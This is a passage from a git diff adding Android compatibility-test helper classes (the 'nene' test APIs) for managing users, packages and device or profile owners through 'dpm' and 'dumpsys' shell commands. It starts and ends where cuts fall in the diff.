+            file="cts/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java"
+            line="234"
+            column="55"/>
+    </issue>
+
+</issues>
diff --git a/common/device-side/bedstead/nene/src/main/AndroidManifest.xml b/common/device-side/bedstead/nene/src/main/AndroidManifest.xml
new file mode 100644
index 0000000..dafb448
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.bedstead.nene">
+    <uses-sdk android:minSdkVersion="27" />
+
+    <!-- needed for package management APIs -->
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+
+    <application>
+    </application>
+</manifest>
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/TestApis.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/TestApis.java
new file mode 100644
index 0000000..327fa6d
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/TestApis.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene;
+
+import com.android.bedstead.nene.context.Context;
+import com.android.bedstead.nene.devicepolicy.DevicePolicy;
+import com.android.bedstead.nene.packages.Packages;
+import com.android.bedstead.nene.permissions.Permissions;
+import com.android.bedstead.nene.users.Users;
+
+/**
+ * Entry point to Nene Test APIs.
+ */
+public final class TestApis {
+    private final Users mUsers = new Users(this);
+    private final Packages mPackages = new Packages(this);
+    private final DevicePolicy mDevicePolicy = new DevicePolicy(this);
+    private final Context mContext = new Context(this);
+
+    /** Access Test APIs related to Users. */
+    public Users users() {
+        return mUsers;
+    }
+
+    /** Access Test APIs related to Packages. */
+    public Packages packages() {
+        return mPackages;
+    }
+
+    /** Access Test APIs related to device policy. */
+    public DevicePolicy devicePolicy() {
+        return mDevicePolicy;
+    }
+
+    /** Access Test APIs related to permissions. */
+    public Permissions permissions() {
+        return Permissions.sInstance;
+    }
+
+    /** Access Test APIs related to context. */
+    public Context context() {
+        return mContext;
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/context/Context.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/context/Context.java
new file mode 100644
index 0000000..aad6392
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/context/Context.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.context;
+
+import android.content.pm.PackageManager;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.users.UserReference;
+
+/** Test APIs related to Context. */
+public class Context {
+
+    private static final String ANDROID_PACKAGE = "android";
+
+    private static final android.content.Context sContext =
+            InstrumentationRegistry.getInstrumentation().getContext();
+    private final TestApis mTestApis;
+
+    public Context(TestApis testApis) {
+        mTestApis = testApis;
+    }
+
+    /**
+     * Get the {@link android.content.Context} for the instrumented test app.
+     */
+    public android.content.Context instrumentedContext() {
+        return sContext;
+    }
+
+    /**
+     * Get the {@link android.content.Context} for the instrumented test app in another user.
+     */
+    public android.content.Context instrumentedContextAsUser(UserReference user) {
+        return sContext.createContextAsUser(user.userHandle(), /* flags= */ 0);
+    }
+
+    /**
+     * Get the {@link android.content.Context} for the "android" package in the given user.
+     */
+    public android.content.Context androidContextAsUser(UserReference user) {
+        try {
+            return sContext.createPackageContextAsUser(
+                    ANDROID_PACKAGE, /* flags= */ 0, user.userHandle());
+        } catch (PackageManager.NameNotFoundException e) {
+            throw new NeneException("Could not find android installed in user " + user, e);
+        }
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/AdbDevicePolicyParser.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/AdbDevicePolicyParser.java
new file mode 100644
index 0000000..505f306
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/AdbDevicePolicyParser.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.devicepolicy;
+
+import android.annotation.TargetApi;
+import android.os.Build;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.AdbParseException;
+import com.android.bedstead.nene.users.UserReference;
+
+import java.util.Map;
+
+/** Parser for `adb dumpsys device_policy`. */
+@TargetApi(Build.VERSION_CODES.O_MR1)
+public interface AdbDevicePolicyParser {
+
+    /**
+     * Get the {@link AdbDevicePolicyParser} for the given version.
+     */
+    static AdbDevicePolicyParser get(TestApis testApis, int sdkVersion) {
+        return new AdbDevicePolicyParser27(testApis);
+    }
+
+    /**
+     * The result of parsing.
+     *
+     * <p>Values which are not used on the current version of Android will be {@code null}.
+     */
+    class ParseResult {
+        Map<UserReference, ProfileOwner> mProfileOwners;
+        DeviceOwner mDeviceOwner;
+    }
+
+    /**
+     * Parse the device policy output.
+     */
+    ParseResult parse(String dumpsysDevicePolicyOutput) throws AdbParseException;
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/AdbDevicePolicyParser27.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/AdbDevicePolicyParser27.java
new file mode 100644
index 0000000..3a20f6c
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/AdbDevicePolicyParser27.java
@@ -0,0 +1,120 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.devicepolicy;
+
+import android.content.ComponentName;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.AdbParseException;
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.nene.utils.ParserUtils;
+
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Parser of `adb shell dumpsys device_policy` for Android 27+.
+ */
+public class AdbDevicePolicyParser27 implements AdbDevicePolicyParser {
+
+    static final int DEFAULT_INDENTATION = 2;
+
+    private final TestApis mTestApis;
+
+    AdbDevicePolicyParser27(TestApis testApis) {
+        mTestApis = testApis;
+    }
+
+    @Override
+    public ParseResult parse(String dumpsysDevicePolicyOutput) throws AdbParseException {
+        ParseResult parseResult = new ParseResult();
+
+        Set<String> sections = extractDevicePolicySections(dumpsysDevicePolicyOutput);
+
+        parseResult.mDeviceOwner = parseDeviceOwner(sections);
+        parseResult.mProfileOwners = parseProfileOwners(sections);
+        return parseResult;
+    }
+
+    private Set<String> extractDevicePolicySections(String dumpsysDevicePolicyOutput)
+            throws AdbParseException {
+        // Remove first line ("Current Device Policy Manager state:")
+        dumpsysDevicePolicyOutput = dumpsysDevicePolicyOutput.split("\n", 2)[1];
+
+        return ParserUtils.extractIndentedSections(dumpsysDevicePolicyOutput, DEFAULT_INDENTATION);
+    }
+
+    DeviceOwner parseDeviceOwner(Set<String> devicePolicySections) {
+        String deviceOwnerSection = getDeviceOwnerSection(devicePolicySections);
+        if (deviceOwnerSection == null) {
+            return null;
+        }
+
+        ComponentName componentName = ComponentName.unflattenFromString(
+                deviceOwnerSection.split(
+                        "ComponentInfo\\{", 2)[1].split("\\}", 2)[0]);
+        int userId = Integer.parseInt(deviceOwnerSection.split(
+                "User ID: ", 2)[1].split("\n", 2)[0]);
+        return new DeviceOwner(mTestApis.users().find(userId),
+                mTestApis.packages().find(componentName.getPackageName()), componentName);
+    }
+
+    String getDeviceOwnerSection(Set<String> devicePolicySections) {
+        for (String section : devicePolicySections) {
+            if (section.startsWith("Device Owner:")) {
+                return section;
+            }
+        }
+
+        return null;
+    }
+
+    Map<UserReference, ProfileOwner> parseProfileOwners(Set<String> devicePolicySections) {
+        Set<String> profileOwnerSections = getProfileOwnerSections(devicePolicySections);
+        Map<UserReference, ProfileOwner> profileOwners = new HashMap<>();
+
+        for (String profileOwnerSection : profileOwnerSections) {
+            ProfileOwner profileOwner = extractProfileOwner(profileOwnerSection);
+            profileOwners.put(profileOwner.user(), profileOwner);
+        }
+
+        return profileOwners;
+    }
+
+    Set<String> getProfileOwnerSections(Set<String> devicePolicySections) {
+        Set<String> sections = new HashSet<>();
+        for (String section : devicePolicySections) {
+            if (section.startsWith("Profile Owner (User ")) {
+                sections.add(section);
+            }
+        }
+
+        return sections;
+    }
+
+    ProfileOwner extractProfileOwner(String profileOwnerSection) {
+        ComponentName componentName = ComponentName.unflattenFromString(
+                profileOwnerSection.split(
+                        "ComponentInfo\\{", 2)[1].split("\\}", 2)[0]);
+        int userId = Integer.parseInt(
+                profileOwnerSection.split("\\(User ", 2)[1].split("\\)", 2)[0]);
+        return new ProfileOwner(mTestApis.users().find(userId),
+                mTestApis.packages().find(componentName.getPackageName()), componentName);
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/DeviceOwner.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/DeviceOwner.java
new file mode 100644
index 0000000..3d9a4ea
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/DeviceOwner.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.devicepolicy;
+
+import android.content.ComponentName;
+
+import com.android.bedstead.nene.exceptions.AdbException;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.packages.PackageReference;
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.nene.utils.ShellCommand;
+import com.android.bedstead.nene.utils.ShellCommandUtils;
+
+import java.util.Objects;
+
+/**
+ * A reference to a Device Owner.
+ */
+public final class DeviceOwner extends DevicePolicyController {
+
+    DeviceOwner(UserReference user,
+            PackageReference pkg,
+            ComponentName componentName) {
+        super(user, pkg, componentName);
+    }
+
+    @Override
+    public void remove() {
+        // TODO(scottjonathan): use DevicePolicyManager#forceRemoveActiveAdmin on S+
+        try {
+            ShellCommand.builder("dpm remove-active-admin")
+                    .addOperand(componentName().flattenToShortString())
+                    .validate(ShellCommandUtils::startsWithSuccess)
+                    .execute();
+        } catch (AdbException e) {
+            throw new NeneException("Error removing device owner " + this, e);
+        }
+    }
+
+    @Override
+    public String toString() {
+        StringBuilder stringBuilder = new StringBuilder("DeviceOwner{");
+        stringBuilder.append("user=").append(user());
+        stringBuilder.append(", package=").append(pkg());
+        stringBuilder.append(", componentName=").append(componentName());
+        stringBuilder.append("}");
+
+        return stringBuilder.toString();
+    }
+
+    @Override
+    public boolean equals(Object obj) {
+        if (!(obj instanceof DeviceOwner)) {
+            return false;
+        }
+
+        DeviceOwner other = (DeviceOwner) obj;
+
+        return Objects.equals(other.mUser, mUser)
+                && Objects.equals(other.mPackage, mPackage)
+                && Objects.equals(other.mComponentName, mComponentName);
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/DevicePolicy.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/DevicePolicy.java
new file mode 100644
index 0000000..0c72c9b
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/DevicePolicy.java
@@ -0,0 +1,237 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.devicepolicy;
+
+import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
+import static android.os.Build.VERSION.SDK_INT;
+
+import android.content.ComponentName;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.AdbException;
+import com.android.bedstead.nene.exceptions.AdbParseException;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.packages.PackageReference;
+import com.android.bedstead.nene.permissions.PermissionContext;
+import com.android.bedstead.nene.users.User;
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.nene.utils.ShellCommand;
+import com.android.bedstead.nene.utils.ShellCommandUtils;
+
+import java.util.Collection;
+import java.util.List;
+import java.util.Map;
+
+
+/**
+ * Test APIs related to device policy.
+ */
+public final class DevicePolicy {
+
+    private final TestApis mTestApis;
+    private final AdbDevicePolicyParser mParser;
+
+    private DeviceOwner mCachedDeviceOwner;
+    private Map<UserReference, ProfileOwner> mCachedProfileOwners;
+
+    public DevicePolicy(TestApis testApis) {
+        if (testApis == null) {
+            throw new NullPointerException();
+        }
+
+        mTestApis = testApis;
+        mParser = AdbDevicePolicyParser.get(mTestApis, SDK_INT);
+    }
+
+    /**
+     * Set the profile owner for a given {@link UserReference}.
+     */
+    public ProfileOwner setProfileOwner(UserReference user, ComponentName profileOwnerComponent) {
+        if (user == null || profileOwnerComponent == null) {
+            throw new NullPointerException();
+        }
+
+        ShellCommand.Builder command =
+                ShellCommand.builderForUser(user, "dpm set-profile-owner")
+                .addOperand(profileOwnerComponent.flattenToShortString())
+                .validate(ShellCommandUtils::startsWithSuccess);
+
+        try {
+            command.execute();
+        } catch (AdbException e) {
+            // If it fails, we check for terminal failure states - and if not we retry because if
+            //  the profile owner was recently removed, it can take some time to be allowed to set
+            //  it again
+
+            ProfileOwner profileOwner = getProfileOwner(user);
+            if (profileOwner != null) {
+                // TODO(scottjonathan): Should we actually fail here if the component name is the
+                //  same?
+
+                throw new NeneException(
+                        "Could not set profile owner for user " + user
+                                + " as a profile owner is already set: " + profileOwner);
+            }
+
+            PackageReference pkg = mTestApis.packages().find(
+                    profileOwnerComponent.getPackageName());
+            if (!mTestApis.packages().installedForUser(user).contains(pkg)) {
+                throw new NeneException(
+                        "Could not set profile owner for user " + user
+                                + " as the package " + pkg + " is not installed");
+            }
+
+            PackageManager p = mTestApis.context().instrumentedContext().getPackageManager();
+            Intent intent = new Intent("android.app.action.DEVICE_ADMIN_ENABLED");
+            intent.setComponent(profileOwnerComponent);
+
+            if (!componentCanBeSetAsDeviceAdmin(profileOwnerComponent, user)) {
+                throw new NeneException("Could not set profile owner for user "
+                        + user + " as component " + profileOwnerComponent + " is not valid");
+            }
+
+            try {
+                command.executeUntilValid();
+            } catch (AdbException | InterruptedException e2) {
+                throw new NeneException("Could not set profile owner for user " + user
+                        + " component " + profileOwnerComponent, e2);
+            }
+        }
+
+        return new ProfileOwner(user,
+                mTestApis.packages().find(
+                        profileOwnerComponent.getPackageName()), profileOwnerComponent);
+    }
+
+    /**
+     * Get the profile owner for a given {@link UserReference}.
+     */
+    public ProfileOwner getProfileOwner(UserReference user) {
+        if (user == null) {
+            throw new NullPointerException();
+        }
+        fillCache();
+        return mCachedProfileOwners.get(user);
+    }
+
+    /**
+     * Set the device owner.
+     */
+    public DeviceOwner setDeviceOwner(UserReference user, ComponentName deviceOwnerComponent) {
+        if (user == null || deviceOwnerComponent == null) {
+            throw new NullPointerException();
+        }
+
+        // TODO: use setDeviceOwner on S+
+
+        ShellCommand.Builder command = ShellCommand.builderForUser(
+                user, "dpm set-device-owner")
+                .addOperand(deviceOwnerComponent.flattenToShortString())
+                .validate(ShellCommandUtils::startsWithSuccess);
+
+        try {
+            command.execute();
+        } catch (AdbException e) {
+            // If it fails, we check for terminal failure states - and if not we retry because if
+            //  the device owner was recently removed, it can take some time to be allowed to set
+            //  it again
+
+            DeviceOwner deviceOwner = getDeviceOwner();
+            if (deviceOwner != null) {
+                // TODO(scottjonathan): Should we actually fail here if the component name is the
+                //  same?
+
+                throw new NeneException(
+                        "Could not set device owner for user " + user
+                                + " as a device owner is already set: " + deviceOwner);
+            }
+
+            PackageReference pkg = mTestApis.packages().find(
+                    deviceOwnerComponent.getPackageName());
+            if (!mTestApis.packages().installedForUser(user).contains(pkg)) {
+                throw new NeneException(
+                        "Could not set device owner for user " + user
+                                + " as the package " + pkg + " is not installed");
+            }
+
+            if (!componentCanBeSetAsDeviceAdmin(deviceOwnerComponent, user)) {
+                throw new NeneException("Could not set device owner for user "
+                        + user + " as component " + deviceOwnerComponent + " is not valid");
+            }
+
+            Collection<User> users = mTestApis.users().all();
+
+            if (users.size() > 1) {
+                throw new NeneException("Could not set device owner for user "
+                        + user + " as there are already additional users on the device: " + users);
+            }
+
+            // TODO(scottjonathan): Check accounts
+
+            try {
+                command.executeUntilValid();
+            } catch (AdbException | InterruptedException e2) {
+                throw new NeneException("Could not set device owner for user " + user
+                        + " component " + deviceOwnerComponent, e2);
+            }
+        }
+
+        return new DeviceOwner(user,
+                mTestApis.packages().find(
+                        deviceOwnerComponent.getPackageName()), deviceOwnerComponent);
+    }
+
+    private boolean componentCanBeSetAsDeviceAdmin(ComponentName component, UserReference user) {
+        PackageManager packageManager =
+                mTestApis.context().instrumentedContext().getPackageManager();
+        Intent intent = new Intent("android.app.action.DEVICE_ADMIN_ENABLED");
+        intent.setComponent(component);
+
+        try (PermissionContext p =
+                     mTestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
+            List<ResolveInfo> r =
+                    packageManager.queryBroadcastReceiversAsUser(
+                            intent, /* flags= */ 0, user.userHandle());
+            return (!r.isEmpty());
+        }
+    }
+
+    /**
+     * Get the device owner.
+     */
+    public DeviceOwner getDeviceOwner() {
+        fillCache();
+        return mCachedDeviceOwner;
+    }
+
+    private void fillCache() {
+        try {
+            // TODO: Replace use of adb on supported versions of Android
+            String devicePolicyDumpsysOutput =
+                    ShellCommand.builder("dumpsys device_policy").execute();
+            AdbDevicePolicyParser.ParseResult result = mParser.parse(devicePolicyDumpsysOutput);
+
+            mCachedDeviceOwner = result.mDeviceOwner;
+            mCachedProfileOwners = result.mProfileOwners;
+        } catch (AdbException | AdbParseException e) {
+            throw new RuntimeException("Error filling cache", e);
+        }
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/DevicePolicyController.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/DevicePolicyController.java
new file mode 100644
index 0000000..9a8aff3
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/DevicePolicyController.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.devicepolicy;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.ComponentName;
+
+import com.android.bedstead.nene.packages.PackageReference;
+import com.android.bedstead.nene.users.UserReference;
+
+import java.util.Objects;
+
+/**
+ * A reference to either a Device Owner or a Profile Owner.
+ */
+public abstract class DevicePolicyController implements AutoCloseable {
+
+    protected final UserReference mUser;
+    protected final PackageReference mPackage;
+    protected final ComponentName mComponentName;
+
+    DevicePolicyController(UserReference user, PackageReference pkg, ComponentName componentName) {
+        if (user == null || pkg == null || componentName == null) {
+            throw new NullPointerException();
+        }
+
+        mUser = user;
+        mPackage = pkg;
+        mComponentName = componentName;
+    }
+
+    /**
+     * Get the {@link UserReference} which this device policy controller is installed into.
+     */
+    public UserReference user() {
+        return mUser;
+    }
+
+    /**
+     * Get the {@link PackageReference} of the device policy controller.
+     */
+    public PackageReference pkg() {
+        return mPackage;
+    }
+
+    /**
+     * Get the {@link ComponentName} of the {@link DeviceAdminReceiver} for this device policy
+     * controller.
+     */
+    public ComponentName componentName() {
+        return mComponentName;
+    }
+
+    /**
+     * Remove this device policy controller.
+     */
+    public abstract void remove();
+
+    @Override
+    public int hashCode() {
+        return Objects.hashCode(mUser)
+                + Objects.hashCode(mPackage)
+                + Objects.hashCode(mComponentName);
+    }
+
+    /** See {@link #remove}. */
+    @Override
+    public void close() {
+        remove();
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/ProfileOwner.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/ProfileOwner.java
new file mode 100644
index 0000000..7fb21a8
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/ProfileOwner.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.devicepolicy;
+
+import android.content.ComponentName;
+
+import com.android.bedstead.nene.exceptions.AdbException;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.packages.PackageReference;
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.nene.utils.ShellCommand;
+import com.android.bedstead.nene.utils.ShellCommandUtils;
+
+import java.util.Objects;
+
+/**
+ * A reference to a Profile Owner.
+ */
+public final class ProfileOwner extends DevicePolicyController {
+    ProfileOwner(UserReference user,
+            PackageReference pkg,
+            ComponentName componentName) {
+        super(user, pkg, componentName);
+    }
+
+    @Override
+    public void remove() {
+        // TODO(scottjonathan): use DevicePolicyManager#forceRemoveActiveAdmin on S+
+
+        try {
+            ShellCommand.builderForUser(mUser, "dpm remove-active-admin")
+                    .addOperand(componentName().flattenToShortString())
+                    .validate(ShellCommandUtils::startsWithSuccess)
+                    .execute();
+        } catch (AdbException e) {
+            throw new NeneException("Error removing profile owner " + this, e);
+        }
+    }
+
+    @Override
+    public String toString() {
+        StringBuilder stringBuilder = new StringBuilder("ProfileOwner{");
+        stringBuilder.append("user=").append(user());
+        stringBuilder.append(", package=").append(pkg());
+        stringBuilder.append(", componentName=").append(componentName());
+        stringBuilder.append("}");
+
+        return stringBuilder.toString();
+    }
+
+    @Override
+    public boolean equals(Object obj) {
+        if (!(obj instanceof ProfileOwner)) {
+            return false;
+        }
+
+        ProfileOwner other = (ProfileOwner) obj;
+
+        return Objects.equals(other.mUser, mUser)
+                && Objects.equals(other.mPackage, mPackage)
+                && Objects.equals(other.mComponentName, mComponentName);
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/exceptions/AdbException.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/exceptions/AdbException.java
new file mode 100644
index 0000000..77b5dbb
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/exceptions/AdbException.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.exceptions;
+
+import androidx.annotation.Nullable;
+
+/**
+ * An exception that gets thrown when interacting with Adb.
+ */
+public class AdbException extends Exception {
+
+    private final String mCommand;
+    private final @Nullable String mOutput;
+    private final @Nullable String mErr;
+
+    public AdbException(String message, String command, String output) {
+        this(message, command, output, /* err= */ (String) null);
+    }
+
+    public AdbException(String message, String command, String output, String err) {
+        super(message);
+        if (command == null) {
+            throw new NullPointerException();
+        }
+        this.mCommand = command;
+        this.mOutput = output;
+        this.mErr = err;
+    }
+
+    public AdbException(String message, String command, Throwable cause) {
+        this(message, command, /* output= */ null, cause);
+    }
+
+    public AdbException(String message, String command, String output, Throwable cause) {
+        super(message, cause);
+        if (command == null) {
+            throw new NullPointerException();
+        }
+        this.mCommand = command;
+        this.mOutput = output;
+        this.mErr = null;
+    }
+
+    public String command() {
+        return mCommand;
+    }
+
+    public String output() {
+        return mOutput;
+    }
+
+    @Override
+    public String toString() {
+        StringBuilder stringBuilder = new StringBuilder(super.toString());
+
+        stringBuilder.append("[command=\"").append(mCommand).append("\"");
+        if (mOutput != null) {
+            stringBuilder.append(", output=\"").append(mOutput).append("\"");
+        }
+        if (mErr != null) {
+            stringBuilder.append(", err=\"").append(mErr).append("\"");
+        }
+        stringBuilder.append("]");
+
+        return stringBuilder.toString();
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/exceptions/AdbParseException.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/exceptions/AdbParseException.java
new file mode 100644
index 0000000..e2568df
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/exceptions/AdbParseException.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.exceptions;
+
+/** An exception that gets thrown when an error occurred parsing Adb output. */
+public class AdbParseException extends Exception {
+
+    private final String adbOutput;
+
+    public AdbParseException(String message, String adbOutput) {
+        super(message);
+        if (message == null || adbOutput == null) {
+            throw new NullPointerException();
+        }
+        this.adbOutput = adbOutput;
+    }
+
+    public AdbParseException(String message, String adbOutput, Throwable cause) {
+        super(message, cause);
+        if (message == null || adbOutput == null || cause == null) {
+            throw new NullPointerException();
+        }
+        this.adbOutput = adbOutput;
+    }
+
